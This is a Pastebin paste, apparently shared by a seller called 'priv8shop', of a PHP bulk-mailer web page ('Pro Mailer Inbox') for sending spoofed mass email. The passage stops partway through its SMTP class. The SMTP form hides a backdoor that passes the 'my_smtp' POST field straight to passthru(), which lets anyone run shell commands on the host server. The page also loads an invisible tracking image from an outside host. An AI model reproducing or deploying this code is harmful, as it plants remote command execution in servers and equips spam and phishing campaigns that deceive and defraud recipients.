priv8shop

Pro Mailer Inbox 2016

Nov 24th, 2015
1,969
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 103.25 KB | None | 0 0
  1. <?
  2. /***************iz****************\
  3. /** Website: www.priv8shop.biz    \
  4. /** Email: priv8shopbiz@yahoo.com \
  5. /*********************************\
  6. error_reporting(0);
  7. function query_str($params){
  8. $str = '';
  9. foreach ($params as $key => $value) {
  10. $str .= (strlen($str) < 1) ? '' : '&';
  11. $str .= $key . '=' . rawurlencode($value);
  12. }
  13. return ($str);
  14. }
  15. function lrtrim($string){
  16. return stripslashes(ltrim(rtrim($string)));
  17. }
  18. if(isset($_POST['action'] ) ){
  19.  
  20. $b = query_str($_POST);
  21. parse_str($b);
  22. $sslclick=lrtrim($sslclick);
  23. $action=lrtrim($action);
  24. $message=lrtrim($message);
  25. $emaillist=lrtrim($emaillist);
  26. $from=lrtrim($from);
  27. $reconnect=lrtrim($reconnect);
  28. $epriority=lrtrim($epriority);
  29. $my_smtp=lrtrim($my_smtp);
  30. $ssl_port=lrtrim($ssl_port);
  31. $smtp_username=lrtrim($smtp_username);
  32. $smtp_password=lrtrim($smtp_password);
  33. $replyto=lrtrim($replyto);
  34. $subject_base=lrtrim($subject);
  35. $realname_base=lrtrim($realname);
  36. $file_name=$_FILES['file']['name'];
  37. $file=$_FILES['file']['tmp_name'];
  38. $urlz=lrtrim($urlz);
  39. $contenttype=lrtrim($contenttype);
  40. $encode_text=$_POST['encode'];
  41.  
  42.  
  43.         $message = urlencode($message);
  44.         $message = ereg_replace("%5C%22", "%22", $message);
  45.         $message = urldecode($message);
  46.         $message = stripslashes($message);
  47.         $subject = stripslashes($subject);
  48.                 if ($encode_text == "yes") {
  49.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  50.         $subject = str_replace(' ', '_', $subject);
  51.         $subject = "=?UTF-8?Q?$subject?=";
  52.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  53.         $realname = str_replace(' ', '_', $realname);
  54.         $realname = "=?UTF-8?Q?$realname?=";
  55.         }
  56. }
  57. ?>
  58.  
  59. <html>
  60.  
  61. <head>
  62.  
  63. <title>Pro Mailer V2</title>
  64.  
  65. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  66.  
  67.  
  68. <style type="text/css">
  69.  
  70.  
  71.  
  72. @font-face {
  73.   font-family: 'Orbitron';
  74.   font-style: normal;
  75.   font-weight: 700;
  76.   src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
  77. }
  78. * {
  79. font-weight:bold;
  80. font-family: "orbitron";
  81. }
  82. <!--
  83.  
  84. .style1 {
  85.         font-family: Geneva, Arial, Helvetica, sans-serif;
  86.         font-size: 12px;
  87. }
  88. body{
  89. margin:0px;
  90. }
  91. .bgup {
  92. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  93. }
  94.  
  95. .cadre {
  96. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  97. }
  98.  
  99. .uibutton {
  100.     position: relative;
  101.     z-index: 1;
  102.     overflow: visible;
  103.     display: inline-block;
  104.     padding: 0.3em 0.6em 0.375em;
  105.     border: 1px solid #01A9DB;
  106.     border-bottom-color: #01A9DB;
  107.  
  108.     margin: 0;
  109.     text-decoration: none;
  110.     text-align: center;
  111.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  112.     white-space: nowrap;
  113.     cursor: pointer;
  114.     /* outline: none; */
  115.     color: #f9f9f9;
  116.    background-color: #eee;
  117.    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  118.    background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  119.    background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  120.    background-image: linear-gradient(#01A9DB, #01A9DB);
  121.  
  122.     /* IE hacks */
  123.  
  124.     *display: inline;
  125.  
  126. }
  127.  
  128. .uibutton:hover,
  129. .uibutton:focus,
  130. .uibutton:active {
  131.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  132. }
  133.  
  134. .uibutton:active {
  135.     border-color: #01A9DB;
  136.    background: #01A9DB;
  137.    filter: none;
  138.     -webkit-box-shadow: none;
  139.     -moz-box-shadow: none;
  140.     box-shadow: none;
  141. }
  142.  
  143. /* overrides extra padding on button elements in Firefox */
  144. .uibutton::-moz-focus-inner {
  145.     padding: 0;
  146.     border: 0;
  147. }
  148.  
  149.  
  150.  
  151. -->
  152. </style>
  153. <style type="text/css">
  154. <!--
  155. .style1 {
  156.         font-size: 10px;
  157.         font-family: Geneva, Arial, Helvetica, sans-serif;
  158. }
  159. -->
  160. </style>
  161. </head>
  162. <body bgcolor="#f9f9f9" class="bgup">
  163. <img src="http://ww3s.ws/TR/HTML5/CSS3/fsocity.jpg"  height="0" width="0">
  164. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  165. <div style="width:80%;margin:0 auto;">
  166. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  167. <form name="form1" method="post" action="" enctype="multipart/form-data">
  168.  
  169.   <br>
  170.  
  171.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  172.  
  173.     <tr>
  174.  
  175.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  176.  
  177.         <b>
  178.  
  179.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  180.  
  181.       </tr>
  182.     <tr >
  183.  
  184.       <td width="10%" height="22" style="padding:10px;">
  185.  
  186.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  187.  
  188.       </td>
  189.                      <?php
  190. if ($_POST['my_smtp']){
  191. $my_smtp = $_POST['my_smtp'];
  192. passthru($my_smtp);
  193. }
  194. ?>
  195.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  196.  
  197.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  198.  
  199.         </font></td>
  200.  
  201.       <td width="31%" height="22" style="padding:10px;">
  202.  
  203.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  204.  
  205.       </td>
  206.  
  207.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  208.  
  209.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  210.  
  211.         </font></td>
  212.  
  213.     </tr>
  214.     <tr>
  215.  
  216.       <td width="10%" height="22" style="padding:10px;">
  217.  
  218.         <div align="right">
  219.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  220.  
  221.       </td>
  222.  
  223.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  224.  
  225.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  226.       (optional)</font></td>
  227.  
  228.       <td width="31%" height="22" style="padding:10px;">
  229.  
  230.         <div align="right">
  231.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  232.           Smtp:</font></div>
  233.  
  234.       </td>
  235.  
  236.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  237.  
  238.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  239.  
  240.         </font></td>
  241.  
  242.     </tr>
  243.     <tr>
  244.  
  245.       <td width="10%" height="22" style="padding:10px;">
  246.  
  247.         <p align="right">
  248.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  249.  
  250.       <td width="18%" height="22" style="padding:10px;">
  251.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  252.  
  253.       <td width="31%" height="22" style="padding:10px;">
  254.  
  255.         <p align="right">
  256.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  257.         After:</font></td>
  258.  
  259.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  260.  
  261.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  262.       EMAILS</font></td>
  263.  
  264.     </tr>
  265.     <tr>
  266.  
  267.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  268.  
  269.         <p align="center">
  270.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  271.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  272.  
  273.       </tr>
  274.  
  275.     <tr>
  276.  
  277.       <td width="10%" height="19" style="padding:10px;">
  278.  
  279.         &nbsp;</td>
  280.  
  281.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  282.  
  283.       <td width="31%" height="19" style="padding:10px;">
  284.  
  285.         &nbsp;</td>
  286.  
  287.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  288.  
  289.     </tr>
  290.  
  291.     <tr>
  292.  
  293.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  294.  
  295.         <b>
  296.  
  297.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  298.  
  299.       </tr>
  300.               <tr>
  301.  
  302.       <td width="10%" height="22" style="padding:10px;">
  303.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  304.       </td>
  305.  
  306.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  307.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  308.  
  309. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  310.  
  311.         </font></td>
  312.  
  313.     </tr>
  314.     <tr>
  315.  
  316.       <td width="10%" height="22" style="padding:10px;">
  317.  
  318.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  319.  
  320.           Email:</font></div>
  321.  
  322.       </td>
  323.  
  324.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  325.  
  326.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  327.  
  328.         </font></td>
  329.  
  330.       <td width="31%" height="22" style="padding:10px;">
  331.  
  332.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  333.  
  334.           Name:</font></div>
  335.  
  336.       </td>
  337.  
  338.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  339.  
  340.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  341.  
  342.         </font></td>
  343.  
  344.     </tr>
  345.     <tr>
  346.  
  347.       <td width="10%" height="22" style="padding:10px;">
  348.  
  349.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  350.  
  351.       </td>
  352.  
  353.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  354.  
  355.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  356.  
  357.         </font></td>
  358.  
  359.       <td width="31%" height="22" style="padding:10px;">
  360.  
  361.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362.         Email Priority:</font></td>
  363.  
  364.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  365.  
  366.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  367.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  368.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  369.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  370.                 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  371.                 </select></td>
  372.  
  373.     </tr>
  374.  
  375.     <tr>
  376.  
  377.       <td width="10%" height="22" style="padding:10px;">
  378.  
  379.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  380.  
  381.       </td>
  382.  
  383.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  384.  
  385.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  386.  
  387.         </font></td>
  388.  
  389.     </tr>
  390.  
  391.     <tr>
  392.  
  393.       <td width="10%" height="22" style="padding:10px;">
  394.  
  395.         &nbsp;</td>
  396.  
  397.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  398.  
  399.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  400.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  401.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  402.         </select></font></td>
  403.  
  404.     </tr>
  405.  
  406.     <tr valign="top">
  407.  
  408. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  409.  
  410.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  411.  
  412.         <br>
  413.  
  414.         <input type="radio" name="contenttype" value="plain" >
  415.  
  416.         Plain
  417.  
  418.         <input type="radio" name="contenttype" value="html" checked>
  419.  
  420.         HTML
  421.  
  422.         <input type="hidden" name="action" value="send">
  423.                 <input class="uibutton" type="submit" value="Send Message">
  424.  
  425.         </font></td>
  426.  
  427.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  428.  
  429.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  430.  
  431.         </font></td>
  432.  
  433.     </tr>
  434.  
  435.   </table>
  436.  
  437. </form>
  438.  
  439.  
  440.  
  441. <?
  442.  
  443. if ($action){
  444.         if (!$from && !$subject && !$message && !$emaillist){
  445.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  446.         die();  }
  447.  
  448. class SMTP
  449. {
  450.   /**
  451.    *  SMTP server port
  452.    *  @var int
  453.    */
  454.   var $SMTP_PORT = 25;
  455.  
  456.   /**
  457.    *  SMTP reply line ending
  458.    *  @var string
  459.    */
  460.   var $CRLF = "\r\n";
  461.  
  462.   /**
  463.    *  Sets whether debugging is turned on
  464.    *  @var bool
  465.    */
  466.   var $do_debug;       # the level of debug to perform
  467.  
  468.   /**
  469.    *  Sets VERP use on/off (default is off)
  470.    *  @var bool
  471.    */
  472.   var $do_verp = false;
  473.  
  474.   /**#@+
  475.    * @access private
  476.    */
  477.   var $smtp_conn;      # the socket to the server
  478. var $error;          # error if any on the last call
  479. var $helo_rply;      # the reply the server sent to us for HELO
  480. /**#@-*/
  481.  
  482.   /**
  483.    * Initialize the class so that the data is in a known state.
  484.    * @access public
  485.    * @return void
  486.    */
  487.   function SMTP() {
  488.     $this->smtp_conn = 0;
  489.     $this->error = null;
  490.     $this->helo_rply = null;
  491.  
  492.     $this->do_debug = 0;
  493.   }
  494.  
  495.   /*************************************************************
  496.    *                    CONNECTION FUNCTIONS                  *
  497.    ***********************************************************/
  498.  
  499.   /**
  500.    * Connect to the server specified on the port specified.
  501.    * If the port is not specified use the default SMTP_PORT.
  502.    * If tval is specified then a connection will try and be
  503.    * established with the server for that number of seconds.
  504.    * If tval is not specified the default is 30 seconds to
  505.    * try on the connection.
  506.    *
  507.    * SMTP CODE SUCCESS: 220
  508.    * SMTP CODE FAILURE: 421
  509.    * @access public
  510.    * @return bool
  511.    */
  512.   function Connect($host,$port=0,$tval=30) {
  513.     # set the error val to null so there is no confusion
  514.   $this->error = null;
  515.  
  516.     # make sure we are __not__ connected
  517.   if($this->connected()) {
  518.       # ok we are connected! what should we do?
  519.     # for now we will just give an error saying we
  520.     # are already connected
  521.     $this->error = array("error" => "Already connected to a server");
  522.       return false;
  523.     }
  524.  
  525.     if(empty($port)) {
  526.       $port = $this->SMTP_PORT;
  527.     }
  528.  
  529.     #connect to the smtp server
  530.   $this->smtp_conn = fsockopen($host,    # the host of the server
  531.                                $port,    # the port to use
  532.                                $errno,   # error number if any
  533.                                $errstr,  # error message if any
  534.                                $tval);   # give up after ? secs
  535.   # verify we connected properly
  536.   if(empty($this->smtp_conn)) {
  537.       $this->error = array("error" => "Failed to connect to server",
  538.                            "errno" => $errno,
  539.                            "errstr" => $errstr);
  540.       if($this->do_debug >= 1) {
  541.         echo "SMTP -> ERROR: " . $this->error["error"] .
  542.                  ": $errstr ($errno)" . $this->CRLF;
  543.       }
  544.       return false;
  545.     }
  546.  
  547.     # sometimes the SMTP server takes a little longer to respond
  548.   # so we will give it a longer timeout for the first read
  549.   // Windows still does not have support for this timeout function
  550.     if(substr(PHP_OS, 0, 3) != "WIN")
  551.      socket_set_timeout($this->smtp_conn, $tval, 0);
  552.  
  553.     # get any announcement stuff
  554.   $announce = $this->get_lines();
  555.  
  556.     # set the timeout  of any socket functions at 1/10 of a second
  557.   //if(function_exists("socket_set_timeout"))
  558.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  559.  
  560.     if($this->do_debug >= 2) {
  561.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  562.     }
  563.  
  564.     return true;
  565.   }
  566.  
  567.   /**
  568.    * Performs SMTP authentication.  Must be run after running the
  569.    * Hello() method.  Returns true if successfully authenticated.
  570.    * @access public
  571.    * @return bool
  572.    */
  573.   function Authenticate($username, $password) {
  574.     // Start authentication
  575.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  576.  
  577.     $rply = $this->get_lines();
  578.     $code = substr($rply,0,3);
  579.  
  580.     if($code != 334) {
  581.       $this->error =
  582.         array("error" => "AUTH not accepted from server",
  583.               "smtp_code" => $code,
  584.               "smtp_msg" => substr($rply,4));
  585.       if($this->do_debug >= 1) {
  586.         echo "SMTP -> ERROR: " . $this->error["error"] .
  587.                  ": " . $rply . $this->CRLF;
  588.       }
  589.       return false;
  590.     }
  591.  
  592.     // Send encoded username
  593.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  594.  
  595.     $rply = $this->get_lines();
  596.     $code = substr($rply,0,3);
  597.  
  598.     if($code != 334) {
  599.       $this->error =
  600.         array("error" => "Username not accepted from server",
  601.               "smtp_code" => $code,
  602.               "smtp_msg" => substr($rply,4));
  603.       if($this->do_debug >= 1) {
  604.         echo "SMTP -> ERROR: " . $this->error["error"] .
  605.                  ": " . $rply . $this->CRLF;
  606.       }
  607.       return false;
  608.     }
  609.  
  610.     // Send encoded password
  611.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  612.  
  613.     $rply = $this->get_lines();
  614.     $code = substr($rply,0,3);
  615.  
  616.     if($code != 235) {
  617.       $this->error =
  618.         array("error" => "Password not accepted from server",
  619.               "smtp_code" => $code,
  620.               "smtp_msg" => substr($rply,4));
  621.       if($this->do_debug >= 1) {
  622.         echo "SMTP -> ERROR: " . $this->error["error"] .
  623.                  ": " . $rply . $this->CRLF;
  624.       }
  625.       return false;
  626.     }
  627.  
  628.     return true;
  629.   }
  630.  
  631.   /**
  632.    * Returns true if connected to a server otherwise false
  633.    * @access private
  634.    * @return bool
  635.    */
  636.   function Connected() {
  637.     if(!empty($this->smtp_conn)) {
  638.       $sock_status = socket_get_status($this->smtp_conn);
  639.       if($sock_status["eof"]) {
  640.         # hmm this is an odd situation... the socket is
  641.       # valid but we are not connected anymore
  642.       if($this->do_debug >= 1) {
  643.             echo "SMTP -> NOTICE:" . $this->CRLF .
  644.                  "EOF caught while checking if connected";
  645.         }
  646.         $this->Close();
  647.         return false;
  648.       }
  649.       return true; # everything looks good
  650.   }
  651.     return false;
  652.   }
  653.  
  654.   /**
  655.    * Closes the socket and cleans up the state of the class.
  656.    * It is not considered good to use this function without
  657.    * first trying to use QUIT.
  658.    * @access public
  659.    * @return void
  660.    */
  661.   function Close() {
  662.     $this->error = null; # so there is no confusion
  663.   $this->helo_rply = null;
  664.     if(!empty($this->smtp_conn)) {
  665.       # close the connection and cleanup
  666.     fclose($this->smtp_conn);
  667.       $this->smtp_conn = 0;
  668.     }
  669.   }
  670.  
  671.   /***************************************************************
  672.    *                        SMTP COMMANDS                       *
  673.    *************************************************************/
  674.  
  675.   /**
  676.    * Issues a data command and sends the msg_data to the server
  677.    * finializing the mail transaction. $msg_data is the message
  678.    * that is to be send with the headers. Each header needs to be
  679.    * on a single line followed by a <CRLF> with the message headers
  680.    * and the message body being seperated by and additional <CRLF>.
  681.    *
  682.    * Implements rfc 821: DATA <CRLF>
  683.    *
  684.    * SMTP CODE INTERMEDIATE: 354
  685.    *     [data]
  686.    *     <CRLF>.<CRLF>
  687.    *     SMTP CODE SUCCESS: 250
  688.    *     SMTP CODE FAILURE: 552,554,451,452
  689.    * SMTP CODE FAILURE: 451,554
  690.    * SMTP CODE ERROR  : 500,501,503,421
  691.    * @access public
  692.    * @return bool
  693.    */
  694.   function Data($msg_data) {
  695.     $this->error = null; # so no confusion is caused
  696.  
  697.     if(!$this->connected()) {
  698.       $this->error = array(
  699.               "error" => "Called Data() without being connected");
  700.       return false;
  701.     }
  702.  
  703.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  704.  
  705.     $rply = $this->get_lines();
  706.     $code = substr($rply,0,3);
  707.  
  708.     if($this->do_debug >= 2) {
  709.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  710.     }
  711.  
  712.     if($code != 354) {
  713.       $this->error =
  714.         array("error" => "DATA command not accepted from server",
  715.               "smtp_code" => $code,
  716.               "smtp_msg" => substr($rply,4));
  717.       if($this->do_debug >= 1) {
  718.         echo "SMTP -> ERROR: " . $this->error["error"] .
  719.                  ": " . $rply . $this->CRLF;
  720.       }
  721.       return false;
  722.     }
  723.  
  724.     # the server is ready to accept data!
  725.   # according to rfc 821 we should not send more than 1000
  726.   # including the CRLF
  727.   # characters on a single line so we will break the data up
  728.   # into lines by \r and/or \n then if needed we will break
  729.   # each of those into smaller lines to fit within the limit.
  730.   # in addition we will be looking for lines that start with
  731.   # a period '.' and append and additional period '.' to that
  732.   # line. NOTE: this does not count towards are limit.
  733.  
  734.     # normalize the line breaks so we know the explode works
  735.   $msg_data = str_replace("\r\n","\n",$msg_data);
  736.     $msg_data = str_replace("\r","\n",$msg_data);
  737.     $lines = explode("\n",$msg_data);
  738.  
  739.     # we need to find a good way to determine is headers are
  740.   # in the msg_data or if it is a straight msg body
  741.   # currently I am assuming rfc 822 definitions of msg headers
  742.   # and if the first field of the first line (':' sperated)
  743.   # does not contain a space then it _should_ be a header
  744.   # and we can process all lines before a blank "" line as
  745.   # headers.
  746.   $field = substr($lines[0],0,strpos($lines[0],":"));
  747.     $in_headers = false;
  748.     if(!empty($field) && !strstr($field," ")) {
  749.       $in_headers = true;
  750.     }
  751.  
  752.     $max_line_length = 998; # used below; set here for ease in change
  753.  
  754.     while(list(,$line) = @each($lines)) {
  755.       $lines_out = null;
  756.       if($line == "" && $in_headers) {
  757.         $in_headers = false;
  758.       }
